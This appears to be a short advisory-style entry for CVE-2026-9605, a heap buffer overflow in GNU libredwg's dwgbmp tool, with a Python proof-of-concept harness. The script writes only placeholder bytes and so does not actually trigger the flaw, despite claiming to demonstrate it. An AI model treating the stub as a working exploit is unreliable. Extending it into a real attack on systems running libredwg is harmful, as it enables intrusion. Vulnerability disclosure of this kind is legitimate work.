CVE-2026-9605 GNU libredwg堆缓冲区溢出漏洞

# PoC for CVE-2026-9605 (Heap Buffer Overflow in GNU libredwg) # This script demonstrates the vulnerability by attempting to process a crafted DWG file. # Note: The actual malicious binary file is required to trigger the overflow. import subprocess import os # Path to the vulnerable dwgbmp utility VULNERABLE_BIN = "/usr/local/bin/dwgbmp" # Crafted malicious file path (simulated) MALICIOUS_FILE = "exploit.dwg" def trigger_overflow(): """ Trigger the heap-based buffer overflow in bit_read_RC function. """ if not os.path.exists(MALICIOUS_FILE): print(f"[*] Creating dummy malicious file: {MALICIOUS_FILE}") # In a real scenario, this file would contain specific bit manipulation # to cause the overflow in bits.c:bit_read_RC. with open(MALICIOUS_FILE, "wb") as f: f.write(b"malicious_payload_placeholder") print(f"[*] Executing vulnerable utility with malicious file...") try: # The overflow occurs when parsing the compressed section or BMP data result = subprocess.run([VULNERABLE_BIN, MALICIOUS_FILE], capture_output=True, text=True) print("[*] Output:", result.stdout) print("[*] Error:", result.stderr) except Exception as e: print(f"[!] An exception occurred: {e}") if __name__ == "__main__": trigger_overflow()